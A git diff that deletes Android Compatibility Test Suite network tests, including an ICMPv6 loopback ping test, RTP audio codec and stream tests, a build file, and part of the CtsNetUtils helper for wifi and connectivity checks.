-        if (useRecvfrom) {
-            InetSocketAddress from = new InetSocketAddress();
-            bytesRead = Os.recvfrom(s, responseBuffer, 0, from);
-
-            // Check the source address and scope ID.
-            assertTrue(from.getAddress() instanceof Inet6Address);
-            Inet6Address fromAddress = (Inet6Address) from.getAddress();
-            assertEquals(0, fromAddress.getScopeId());
-            assertNull(fromAddress.getScopedInterface());
-            assertEquals(dest.getHostAddress(), fromAddress.getHostAddress());
-        } else {
-            bytesRead = Os.read(s, responseBuffer);
-        }
-
-        // Check the packet length.
-        assertEquals(sent.length, bytesRead);
-
-        // Check the response is an echo reply.
-        byte[] response = new byte[bytesRead];
-        responseBuffer.flip();
-        responseBuffer.get(response, 0, bytesRead);
-        assertEquals((byte) ICMP6_ECHO_REPLY, response[0]);
-
-        // Find out what ICMP ID was used in the packet that was sent.
-        int id = ((InetSocketAddress) Os.getsockname(s)).getPort();
-        sent[4] = (byte) (id / 256);
-        sent[5] = (byte) (id % 256);
-
-        // Ensure the response is the same as the packet, except for the type (which is 0x81)
-        // and the ID and checksum,  which are set by the kernel.
-        response[0] = (byte) 0x80;                 // Type.
-        response[2] = response[3] = (byte) 0x00;   // Checksum.
-        assertArrayBytesEqual(response, sent, bytesRead);
-    }
-
-    /**
-     * Sends NUM_PACKETS random ping packets to ::1 and checks the replies.
-     */
-    public void testLoopbackPing() throws ErrnoException, IOException {
-        // Generate a random ping packet and send it to localhost.
-        InetAddress ipv6Loopback = InetAddress.getByName(null);
-        assertEquals("::1", ipv6Loopback.getHostAddress());
-
-        for (int i = 0; i < NUM_PACKETS; i++) {
-            byte[] packet = pingPacket((int) (Math.random() * (MAX_SIZE - ICMP_HEADER_SIZE)));
-            FileDescriptor s = createPingSocket();
-            // Use both recvfrom and read().
-            sendPing(s, ipv6Loopback, packet);
-            checkResponse(s, ipv6Loopback, packet, true);
-            sendPing(s, ipv6Loopback, packet);
-            checkResponse(s, ipv6Loopback, packet, false);
-            // Check closing the socket doesn't raise an exception.
-            Os.close(s);
-        }
-    }
-}
diff --git a/tests/tests/net/src/android/net/rtp/cts/AudioCodecTest.java b/tests/tests/net/src/android/net/rtp/cts/AudioCodecTest.java
deleted file mode 100644
index 412498c..0000000
--- a/tests/tests/net/src/android/net/rtp/cts/AudioCodecTest.java
+++ /dev/null
@@ -1,73 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.net.rtp.cts;
-
-import android.net.rtp.AudioCodec;
-import android.test.AndroidTestCase;
-
-public class AudioCodecTest extends AndroidTestCase {
-
-    private void assertEquals(AudioCodec codec, int type, String rtpmap, String fmtp) {
-        if (type >= 0) {
-            assertEquals(codec.type, type);
-        } else {
-            assertTrue(codec.type >= 96 && codec.type <= 127);
-        }
-        assertEquals(codec.rtpmap.compareToIgnoreCase(rtpmap), 0);
-        assertEquals(codec.fmtp, fmtp);
-    }
-
-    public void testConstants() throws Exception {
-        assertEquals(AudioCodec.PCMU, 0, "PCMU/8000", null);
-        assertEquals(AudioCodec.PCMA, 8, "PCMA/8000", null);
-        assertEquals(AudioCodec.GSM, 3, "GSM/8000", null);
-        assertEquals(AudioCodec.GSM_EFR, -1, "GSM-EFR/8000", null);
-        assertEquals(AudioCodec.AMR, -1, "AMR/8000", null);
-
-        assertFalse(AudioCodec.AMR.type == AudioCodec.GSM_EFR.type);
-    }
-
-    public void testGetCodec() throws Exception {
-        // Bad types.
-        assertNull(AudioCodec.getCodec(128, "PCMU/8000", null));
-        assertNull(AudioCodec.getCodec(-1, "PCMU/8000", null));
-        assertNull(AudioCodec.getCodec(96, null, null));
-
-        // Fixed types.
-        assertEquals(AudioCodec.getCodec(0, null, null), 0, "PCMU/8000", null);
-        assertEquals(AudioCodec.getCodec(8, null, null), 8, "PCMA/8000", null);
-        assertEquals(AudioCodec.getCodec(3, null, null), 3, "GSM/8000", null);
-
-        // Dynamic types.
-        assertEquals(AudioCodec.getCodec(96, "pcmu/8000", null), 96, "PCMU/8000", null);
-        assertEquals(AudioCodec.getCodec(97, "pcma/8000", null), 97, "PCMA/8000", null);
-        assertEquals(AudioCodec.getCodec(98, "gsm/8000", null), 98, "GSM/8000", null);
-        assertEquals(AudioCodec.getCodec(99, "gsm-efr/8000", null), 99, "GSM-EFR/8000", null);
-        assertEquals(AudioCodec.getCodec(100, "amr/8000", null), 100, "AMR/8000", null);
-    }
-
-    public void testGetCodecs() throws Exception {
-        AudioCodec[] codecs = AudioCodec.getCodecs();
-        assertTrue(codecs.length >= 5);
-
-        // The types of the codecs should be different.
-        boolean[] types = new boolean[128];
-        for (AudioCodec codec : codecs) {
-            assertFalse(types[codec.type]);
-            types[codec.type] = true;
-        }
-    }
-}
diff --git a/tests/tests/net/src/android/net/rtp/cts/AudioGroupTest.java b/tests/tests/net/src/android/net/rtp/cts/AudioGroupTest.java
deleted file mode 100644
index fc78e96..0000000
--- a/tests/tests/net/src/android/net/rtp/cts/AudioGroupTest.java
+++ /dev/null
@@ -1,177 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.net.rtp.cts;
-
-import android.content.Context;
-import android.media.AudioManager;
-import android.net.rtp.AudioCodec;
-import android.net.rtp.AudioGroup;
-import android.net.rtp.AudioStream;
-import android.net.rtp.RtpStream;
-import android.os.Build;
-import android.platform.test.annotations.AppModeFull;
-import android.test.AndroidTestCase;
-
-import androidx.core.os.BuildCompat;
-
-import java.net.DatagramPacket;
-import java.net.DatagramSocket;
-import java.net.InetAddress;
-
-@AppModeFull(reason = "RtpStream cannot create in instant app mode")
-public class AudioGroupTest extends AndroidTestCase {
-
-    private static final String TAG = AudioGroupTest.class.getSimpleName();
-
-    private AudioManager mAudioManager;
-
-    private AudioStream mStreamA;
-    private DatagramSocket mSocketA;
-    private AudioStream mStreamB;
-    private DatagramSocket mSocketB;
-    private AudioGroup mGroup;
-
-    @Override
-    public void setUp() throws Exception {
-        mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
-        mAudioManager.setMode(AudioManager.MODE_IN_COMMUNICATION);
-
-        InetAddress local = InetAddress.getByName("::1");
-
-        mStreamA = new AudioStream(local);
-        mStreamA.setMode(RtpStream.MODE_NORMAL);
-        mStreamA.setCodec(AudioCodec.PCMU);
-        mSocketA = new DatagramSocket();
-        mSocketA.connect(mStreamA.getLocalAddress(), mStreamA.getLocalPort());
-        mStreamA.associate(mSocketA.getLocalAddress(), mSocketA.getLocalPort());
-
-        mStreamB = new AudioStream(local);
-        mStreamB.setMode(RtpStream.MODE_NORMAL);
-        mStreamB.setCodec(AudioCodec.PCMU);
-        mSocketB = new DatagramSocket();
-        mSocketB.connect(mStreamB.getLocalAddress(), mStreamB.getLocalPort());
-        mStreamB.associate(mSocketB.getLocalAddress(), mSocketB.getLocalPort());
-
-        // BuildCompat.isAtLeastR is documented to return false on release SDKs (including R)
-        mGroup = Build.VERSION.SDK_INT > Build.VERSION_CODES.Q || BuildCompat.isAtLeastR()
-                ? new AudioGroup(mContext)
-                : new AudioGroup(); // Constructor with context argument was introduced in R
-    }
-
-    @Override
-    public void tearDown() throws Exception {
-        mGroup.clear();
-        mStreamA.release();
-        mSocketA.close();
-        mStreamB.release();
-        mSocketB.close();
-        mAudioManager.setMode(AudioManager.MODE_NORMAL);
-    }
-
-    private void assertPacket(DatagramSocket socket, int length) throws Exception {
-        DatagramPacket packet = new DatagramPacket(new byte[length + 1], length + 1);
-        socket.setSoTimeout(3000);
-        socket.receive(packet);
-        assertEquals(packet.getLength(), length);
-    }
-
-    private void drain(DatagramSocket socket) throws Exception {
-        DatagramPacket packet = new DatagramPacket(new byte[1], 1);
-        socket.setSoTimeout(1);
-        try {
-            // Drain the socket by retrieving all the packets queued on it.
-            // A SocketTimeoutException will be thrown when it becomes empty.
-            while (true) {
-                socket.receive(packet);
-            }
-        } catch (Exception e) {
-            // ignore.
-        }
-    }
-
-    public void testTraffic() throws Exception {
-        mStreamA.join(mGroup);
-        assertPacket(mSocketA, 12 + 160);
-
-        mStreamB.join(mGroup);
-        assertPacket(mSocketB, 12 + 160);
-
-        mStreamA.join(null);
-        drain(mSocketA);
-
-        drain(mSocketB);
-        assertPacket(mSocketB, 12 + 160);
-
-        mStreamA.join(mGroup);
-        assertPacket(mSocketA, 12 + 160);
-    }
-
-    public void testSetMode() throws Exception {
-        mGroup.setMode(AudioGroup.MODE_NORMAL);
-        assertEquals(mGroup.getMode(), AudioGroup.MODE_NORMAL);
-
-        mGroup.setMode(AudioGroup.MODE_MUTED);
-        assertEquals(mGroup.getMode(), AudioGroup.MODE_MUTED);
-
-        mStreamA.join(mGroup);
-        mStreamB.join(mGroup);
-
-        mGroup.setMode(AudioGroup.MODE_NORMAL);
-        assertEquals(mGroup.getMode(), AudioGroup.MODE_NORMAL);
-
-        mGroup.setMode(AudioGroup.MODE_MUTED);
-        assertEquals(mGroup.getMode(), AudioGroup.MODE_MUTED);
-    }
-
-    public void testAdd() throws Exception {
-        mStreamA.join(mGroup);
-        assertEquals(mGroup.getStreams().length, 1);
-
-        mStreamB.join(mGroup);
-        assertEquals(mGroup.getStreams().length, 2);
-
-        mStreamA.join(mGroup);
-        assertEquals(mGroup.getStreams().length, 2);
-    }
-
-    public void testRemove() throws Exception {
-        mStreamA.join(mGroup);
-        assertEquals(mGroup.getStreams().length, 1);
-
-        mStreamA.join(null);
-        assertEquals(mGroup.getStreams().length, 0);
-
-        mStreamA.join(mGroup);
-        assertEquals(mGroup.getStreams().length, 1);
-    }
-
-    public void testClear() throws Exception {
-        mStreamA.join(mGroup);
-        mStreamB.join(mGroup);
-        mGroup.clear();
-
-        assertEquals(mGroup.getStreams().length, 0);
-        assertFalse(mStreamA.isBusy());
-        assertFalse(mStreamB.isBusy());
-    }
-
-    public void testDoubleClear() throws Exception {
-        mStreamA.join(mGroup);
-        mStreamB.join(mGroup);
-        mGroup.clear();
-        mGroup.clear();
-    }
-}
diff --git a/tests/tests/net/src/android/net/rtp/cts/AudioStreamTest.java b/tests/tests/net/src/android/net/rtp/cts/AudioStreamTest.java
deleted file mode 100644
index f2db6ee..0000000
--- a/tests/tests/net/src/android/net/rtp/cts/AudioStreamTest.java
+++ /dev/null
@@ -1,96 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.net.rtp.cts;
-
-import android.net.rtp.AudioCodec;
-import android.net.rtp.AudioStream;
-import android.platform.test.annotations.AppModeFull;
-import android.test.AndroidTestCase;
-
-import java.net.InetAddress;
-
-@AppModeFull(reason = "RtpStream cannot create in instant app mode")
-public class AudioStreamTest extends AndroidTestCase {
-
-    private void testRtpStream(InetAddress address) throws Exception {
-        AudioStream stream = new AudioStream(address);
-        assertEquals(stream.getLocalAddress(), address);
-        assertEquals(stream.getLocalPort() % 2, 0);
-
-        assertNull(stream.getRemoteAddress());
-        assertEquals(stream.getRemotePort(), -1);
-        stream.associate(address, 1000);
-        assertEquals(stream.getRemoteAddress(), address);
-        assertEquals(stream.getRemotePort(), 1000);
-
-        assertFalse(stream.isBusy());
-        stream.release();
-    }
-
-    public void testV4Stream() throws Exception {
-        testRtpStream(InetAddress.getByName("127.0.0.1"));
-    }
-
-    public void testV6Stream() throws Exception {
-        testRtpStream(InetAddress.getByName("::1"));
-    }
-
-    public void testSetDtmfType() throws Exception {
-        AudioStream stream = new AudioStream(InetAddress.getByName("::1"));
-
-        assertEquals(stream.getDtmfType(), -1);
-        try {
-            stream.setDtmfType(0);
-            fail("Expecting IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-            // ignore
-        }
-        stream.setDtmfType(96);
-        assertEquals(stream.getDtmfType(), 96);
-
-        stream.setCodec(AudioCodec.getCodec(97, "PCMU/8000", null));
-        try {
-            stream.setDtmfType(97);
-            fail("Expecting IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-            // ignore
-        }
-        stream.release();
-    }
-
-    public void testSetCodec() throws Exception {
-        AudioStream stream = new AudioStream(InetAddress.getByName("::1"));
-
-        assertNull(stream.getCodec());
-        stream.setCodec(AudioCodec.getCodec(97, "PCMU/8000", null));
-        assertNotNull(stream.getCodec());
-
-        stream.setDtmfType(96);
-        try {
-            stream.setCodec(AudioCodec.getCodec(96, "PCMU/8000", null));
-            fail("Expecting IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-            // ignore
-        }
-        stream.release();
-    }
-
-    public void testDoubleRelease() throws Exception {
-        AudioStream stream = new AudioStream(InetAddress.getByName("::1"));
-        stream.release();
-        stream.release();
-    }
-}
diff --git a/tests/tests/net/util/Android.bp b/tests/tests/net/util/Android.bp
deleted file mode 100644
index 1f94613..0000000
--- a/tests/tests/net/util/Android.bp
+++ /dev/null
@@ -1,25 +0,0 @@
-//
-// Copyright (C) 2019 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-//
-
-// Common utilities for cts net tests.
-java_library {
-    name: "cts-net-utils",
-    srcs: ["java/**/*.java", "java/**/*.kt"],
-    static_libs: [
-        "compatibility-device-util-axt",
-        "junit",
-    ],
-}
\ No newline at end of file
diff --git a/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java b/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java
deleted file mode 100644
index f1bc130..0000000
--- a/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java
+++ /dev/null
@@ -1,672 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts.util;
-
-import static android.Manifest.permission.NETWORK_SETTINGS;
-import static android.net.ConnectivityManager.PRIVATE_DNS_MODE_OPPORTUNISTIC;
-import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
-import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
-import static android.net.NetworkCapabilities.TRANSPORT_TEST;
-import static android.net.wifi.WifiManager.SCAN_RESULTS_AVAILABLE_ACTION;
-
-import static com.android.compatibility.common.util.ShellIdentityUtils.invokeWithShellPermissions;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.annotation.NonNull;
-import android.app.AppOpsManager;
-import android.content.BroadcastReceiver;
-import android.content.ContentResolver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.PackageManager;
-import android.net.ConnectivityManager;
-import android.net.ConnectivityManager.NetworkCallback;
-import android.net.LinkProperties;
-import android.net.Network;
-import android.net.NetworkCapabilities;
-import android.net.NetworkInfo;
-import android.net.NetworkInfo.State;
-import android.net.NetworkRequest;
-import android.net.TestNetworkManager;
-import android.net.wifi.ScanResult;
-import android.net.wifi.WifiConfiguration;
-import android.net.wifi.WifiInfo;
-import android.net.wifi.WifiManager;
-import android.os.Binder;
-import android.os.Build;
-import android.os.IBinder;
-import android.os.SystemProperties;
-import android.provider.Settings;
-import android.system.Os;
-import android.system.OsConstants;
-import android.util.Log;
-
-import com.android.compatibility.common.util.SystemUtil;
-
-import junit.framework.AssertionFailedError;
-
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.net.InetSocketAddress;
-import java.net.Socket;
-import java.util.Arrays;
-import java.util.List;
-import java.util.Optional;
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.TimeoutException;
-
-public final class CtsNetUtils {
-    private static final String TAG = CtsNetUtils.class.getSimpleName();
-    private static final int DURATION = 10000;
-    private static final int SOCKET_TIMEOUT_MS = 2000;
-    private static final int PRIVATE_DNS_PROBE_MS = 1_000;
-
-    private static final int PRIVATE_DNS_SETTING_TIMEOUT_MS = 6_000;
-    private static final int CONNECTIVITY_CHANGE_TIMEOUT_SECS = 30;
-    public static final int HTTP_PORT = 80;
-    public static final String TEST_HOST = "connectivitycheck.gstatic.com";
-    public static final String HTTP_REQUEST =
-            "GET /generate_204 HTTP/1.0\r\n" +
-                    "Host: " + TEST_HOST + "\r\n" +
-                    "Connection: keep-alive\r\n\r\n";
-    // Action sent to ConnectivityActionReceiver when a network callback is sent via PendingIntent.
-    public static final String NETWORK_CALLBACK_ACTION =
-            "ConnectivityManagerTest.NetworkCallbackAction";
-
-    private final IBinder mBinder = new Binder();
-    private final Context mContext;
-    private final ConnectivityManager mCm;
-    private final ContentResolver mCR;
-    private final WifiManager mWifiManager;
-    private TestNetworkCallback mCellNetworkCallback;
-    private String mOldPrivateDnsMode;
-    private String mOldPrivateDnsSpecifier;
-
-    public CtsNetUtils(Context context) {
-        mContext = context;
-        mCm = (ConnectivityManager) mContext.getSystemService(Context.CONNECTIVITY_SERVICE);
-        mWifiManager = (WifiManager) mContext.getSystemService(Context.WIFI_SERVICE);
-        mCR = context.getContentResolver();
-    }
-
-    /** Checks if FEATURE_IPSEC_TUNNELS is enabled on the device */
-    public boolean hasIpsecTunnelsFeature() {
-        return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_IPSEC_TUNNELS)
-                || SystemProperties.getInt("ro.product.first_api_level", 0)
-                        >= Build.VERSION_CODES.Q;
-    }
-
-    /**
-     * Sets the given appop using shell commands
-     *
-     * <p>Expects caller to hold the shell permission identity.
-     */
-    public void setAppopPrivileged(int appop, boolean allow) {
-        final String opName = AppOpsManager.opToName(appop);
-        for (final String pkg : new String[] {"com.android.shell", mContext.getPackageName()}) {
-            final String cmd =
-                    String.format(
-                            "appops set %s %s %s",
-                            pkg, // Package name
-                            opName, // Appop
-                            (allow ? "allow" : "deny")); // Action
-            SystemUtil.runShellCommand(cmd);
-        }
-    }
-
-    /** Sets up a test network using the provided interface name */
-    public TestNetworkCallback setupAndGetTestNetwork(String ifname) throws Exception {
-        // Build a network request
-        final NetworkRequest nr =
-                new NetworkRequest.Builder()
-                        .clearCapabilities()
-                        .addTransportType(TRANSPORT_TEST)
-                        .setNetworkSpecifier(ifname)
-                        .build();
-
-        final TestNetworkCallback cb = new TestNetworkCallback();
-        mCm.requestNetwork(nr, cb);
-
-        // Setup the test network after network request is filed to prevent Network from being
-        // reaped due to no requests matching it.
-        mContext.getSystemService(TestNetworkManager.class).setupTestNetwork(ifname, mBinder);
-
-        return cb;
-    }
-
-    // Toggle WiFi twice, leaving it in the state it started in
-    public void toggleWifi() {
-        if (mWifiManager.isWifiEnabled()) {
-            Network wifiNetwork = getWifiNetwork();
-            disconnectFromWifi(wifiNetwork);
-            connectToWifi();
-        } else {
-            connectToWifi();
-            Network wifiNetwork = getWifiNetwork();
-            disconnectFromWifi(wifiNetwork);
-        }
-    }
-
-    /**
-     * Enable WiFi and wait for it to become connected to a network.
-     *
-     * This method expects to receive a legacy broadcast on connect, which may not be sent if the
-     * network does not become default or if it is not the first network.
-     */
-    public Network connectToWifi() {
-        return connectToWifi(true /* expectLegacyBroadcast */);
-    }
-
-    /**
-     * Enable WiFi and wait for it to become connected to a network.
-     *
-     * A network is considered connected when a {@link NetworkRequest} with TRANSPORT_WIFI
-     * receives a {@link NetworkCallback#onAvailable(Network)} callback.
-     */
-    public Network ensureWifiConnected() {
-        return connectToWifi(false /* expectLegacyBroadcast */);
-    }
-
-    /**
-     * Enable WiFi and wait for it to become connected to a network.
-     *
-     * @param expectLegacyBroadcast Whether to check for a legacy CONNECTIVITY_ACTION connected
-     *                              broadcast. The broadcast is typically not sent if the network
-     *                              does not become the default network, and is not the first
-     *                              network to appear.
-     * @return The network that was newly connected.
-     */
-    private Network connectToWifi(boolean expectLegacyBroadcast) {
-        final TestNetworkCallback callback = new TestNetworkCallback();
-        mCm.registerNetworkCallback(makeWifiNetworkRequest(), callback);
-        Network wifiNetwork = null;
-
-        ConnectivityActionReceiver receiver = new ConnectivityActionReceiver(
-                mCm, ConnectivityManager.TYPE_WIFI, NetworkInfo.State.CONNECTED);
-        IntentFilter filter = new IntentFilter();
-        filter.addAction(ConnectivityManager.CONNECTIVITY_ACTION);
-        mContext.registerReceiver(receiver, filter);
-
-        boolean connected = false;
-        final String err = "Wifi must be configured to connect to an access point for this test.";
-        try {
-            clearWifiBlacklist();
-            SystemUtil.runShellCommand("svc wifi enable");
-            final WifiConfiguration config = maybeAddVirtualWifiConfiguration();
-            if (config == null) {
-                // TODO: this may not clear the BSSID blacklist, as opposed to
-                // mWifiManager.connect(config)
-                SystemUtil.runWithShellPermissionIdentity(() -> mWifiManager.reconnect(),
-                        NETWORK_SETTINGS);
-            } else {
-                // When running CTS, devices are expected to have wifi networks pre-configured.
-                // This condition is only hit on virtual devices.
-                SystemUtil.runWithShellPermissionIdentity(
-                        () -> mWifiManager.connect(config, null /* listener */), NETWORK_SETTINGS);
-            }
-            // Ensure we get an onAvailable callback and possibly a CONNECTIVITY_ACTION.
-            wifiNetwork = callback.waitForAvailable();
-            assertNotNull(err, wifiNetwork);
-            connected = !expectLegacyBroadcast || receiver.waitForState();
-        } catch (InterruptedException ex) {
-            fail("connectToWifi was interrupted");
-        } finally {
-            mCm.unregisterNetworkCallback(callback);
-            mContext.unregisterReceiver(receiver);
-        }
-
-        assertTrue(err, connected);
-        return wifiNetwork;
-    }
-
-    private WifiConfiguration maybeAddVirtualWifiConfiguration() {
-        final List<WifiConfiguration> configs = invokeWithShellPermissions(
-                mWifiManager::getConfiguredNetworks);
-        // If no network is configured, add a config for virtual access points if applicable
-        if (configs.size() == 0) {
-            final List<ScanResult> scanResults = getWifiScanResults();
-            final WifiConfiguration virtualConfig = maybeConfigureVirtualNetwork(scanResults);
-            assertNotNull("The device has no configured wifi network", virtualConfig);
-
-            return virtualConfig;
-        }
-        // No need to add a configuration: there is already one
-        return null;
-    }
-
-    private List<ScanResult> getWifiScanResults() {
-        final CompletableFuture<List<ScanResult>> scanResultsFuture = new CompletableFuture<>();
-        SystemUtil.runWithShellPermissionIdentity(() -> {
-            final BroadcastReceiver receiver = new BroadcastReceiver() {
-                @Override
-                public void onReceive(Context context, Intent intent) {
-                    scanResultsFuture.complete(mWifiManager.getScanResults());
-                }
-            };
-            mContext.registerReceiver(receiver, new IntentFilter(SCAN_RESULTS_AVAILABLE_ACTION));
-            mWifiManager.startScan();
-        });
-
-        try {
-            return scanResultsFuture.get(CONNECTIVITY_CHANGE_TIMEOUT_SECS, TimeUnit.SECONDS);
-        } catch (ExecutionException | InterruptedException | TimeoutException e) {
-            throw new AssertionFailedError("Wifi scan results not received within timeout");
-        }
-    }
-
-    /**
-     * If a virtual wifi network is detected, add a configuration for that network.
-     * TODO(b/158150376): have the test infrastructure add virtual wifi networks when appropriate.
-     */
-    private WifiConfiguration maybeConfigureVirtualNetwork(List<ScanResult> scanResults) {
-        // Virtual wifi networks used on the emulator and cloud testing infrastructure
-        final List<String> virtualSsids = Arrays.asList("VirtWifi", "AndroidWifi");
-        Log.d(TAG, "Wifi scan results: " + scanResults);
-        final ScanResult virtualScanResult = scanResults.stream().filter(
-                s -> virtualSsids.contains(s.SSID)).findFirst().orElse(null);
-
-        // Only add the virtual configuration if the virtual AP is detected in scans
-        if (virtualScanResult == null) return null;
-
-        final WifiConfiguration virtualConfig = new WifiConfiguration();
-        // ASCII SSIDs need to be surrounded by double quotes
-        virtualConfig.SSID = "\"" + virtualScanResult.SSID + "\"";
-        virtualConfig.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.NONE);
-
-        SystemUtil.runWithShellPermissionIdentity(() -> {
-            final int networkId = mWifiManager.addNetwork(virtualConfig);
-            assertTrue(networkId >= 0);
-            assertTrue(mWifiManager.enableNetwork(networkId, false /* attemptConnect */));
-        });
-        return virtualConfig;
-    }
-
-    /**
-     * Re-enable wifi networks that were blacklisted, typically because no internet connection was
-     * detected the last time they were connected. This is necessary to make sure wifi can reconnect
-     * to them.
-     */
-    private void clearWifiBlacklist() {
-        SystemUtil.runWithShellPermissionIdentity(() -> {
-            for (WifiConfiguration cfg : mWifiManager.getConfiguredNetworks()) {
-                assertTrue(mWifiManager.enableNetwork(cfg.networkId, false /* attemptConnect */));
-            }
-        });
-    }
-
-    /**
-     * Disable WiFi and wait for it to become disconnected from the network.
-     *
-     * This method expects to receive a legacy broadcast on disconnect, which may not be sent if the
-     * network was not default, or was not the first network.
-     *
-     * @param wifiNetworkToCheck If non-null, a network that should be disconnected. This network
-     *                           is expected to be able to establish a TCP connection to a remote
-     *                           server before disconnecting, and to have that connection closed in
-     *                           the process.
-     */
-    public void disconnectFromWifi(Network wifiNetworkToCheck) {
-        disconnectFromWifi(wifiNetworkToCheck, true /* expectLegacyBroadcast */);
-    }
-
-    /**
-     * Disable WiFi and wait for it to become disconnected from the network.
-     *
-     * @param wifiNetworkToCheck If non-null, a network that should be disconnected. This network
-     *                           is expected to be able to establish a TCP connection to a remote
-     *                           server before disconnecting, and to have that connection closed in
-     *                           the process.
-     */
-    public void ensureWifiDisconnected(Network wifiNetworkToCheck) {
-        disconnectFromWifi(wifiNetworkToCheck, false /* expectLegacyBroadcast */);
-    }
-
-    /**
-     * Disable WiFi and wait for it to become disconnected from the network.
-     *
-     * @param wifiNetworkToCheck If non-null, a network that should be disconnected. This network
-     *                           is expected to be able to establish a TCP connection to a remote
-     *                           server before disconnecting, and to have that connection closed in
-     *                           the process.
-     * @param expectLegacyBroadcast Whether to check for a legacy CONNECTIVITY_ACTION disconnected
-     *                              broadcast. The broadcast is typically not sent if the network
-     *                              was not the default network and not the first network to appear.
-     *                              The check will always be skipped if the device was not connected
-     *                              to wifi in the first place.
-     */
-    private void disconnectFromWifi(Network wifiNetworkToCheck, boolean expectLegacyBroadcast) {
-        final TestNetworkCallback callback = new TestNetworkCallback();
-        mCm.registerNetworkCallback(makeWifiNetworkRequest(), callback);
-
-        ConnectivityActionReceiver receiver = new ConnectivityActionReceiver(
-                mCm, ConnectivityManager.TYPE_WIFI, NetworkInfo.State.DISCONNECTED);
-        IntentFilter filter = new IntentFilter();
-        filter.addAction(ConnectivityManager.CONNECTIVITY_ACTION);
-        mContext.registerReceiver(receiver, filter);
-
-        final WifiInfo wifiInfo = mWifiManager.getConnectionInfo();
-        final boolean wasWifiConnected = wifiInfo != null && wifiInfo.getNetworkId() != -1;
-        // Assert that we can establish a TCP connection on wifi.
-        Socket wifiBoundSocket = null;
-        if (wifiNetworkToCheck != null) {
-            assertTrue("Cannot check network " + wifiNetworkToCheck + ": wifi is not connected",
-                    wasWifiConnected);
-            final NetworkCapabilities nc = mCm.getNetworkCapabilities(wifiNetworkToCheck);
-            assertNotNull("Network " + wifiNetworkToCheck + " is not connected", nc);
-            try {
-                wifiBoundSocket = getBoundSocket(wifiNetworkToCheck, TEST_HOST, HTTP_PORT);
-                testHttpRequest(wifiBoundSocket);
-            } catch (IOException e) {
-                fail("HTTP request before wifi disconnected failed with: " + e);
-            }
-        }
-
-        try {
-            SystemUtil.runShellCommand("svc wifi disable");
-            if (wasWifiConnected) {
-                // Ensure we get both an onLost callback and a CONNECTIVITY_ACTION.
-                assertNotNull("Did not receive onLost callback after disabling wifi",
-                        callback.waitForLost());
-            }
-            if (wasWifiConnected && expectLegacyBroadcast) {
-                assertTrue("Wifi failed to reach DISCONNECTED state.", receiver.waitForState());
-            }
-        } catch (InterruptedException ex) {
-            fail("disconnectFromWifi was interrupted");
-        } finally {
-            mCm.unregisterNetworkCallback(callback);
-            mContext.unregisterReceiver(receiver);
-        }
-
-        // Check that the socket is closed when wifi disconnects.
-        if (wifiBoundSocket != null) {
-            try {
-                testHttpRequest(wifiBoundSocket);
-                fail("HTTP request should not succeed after wifi disconnects");
-            } catch (IOException expected) {
-                assertEquals(Os.strerror(OsConstants.ECONNABORTED), expected.getMessage());
-            }
-        }
-    }
-
-    public Network getWifiNetwork() {
-        TestNetworkCallback callback = new TestNetworkCallback();
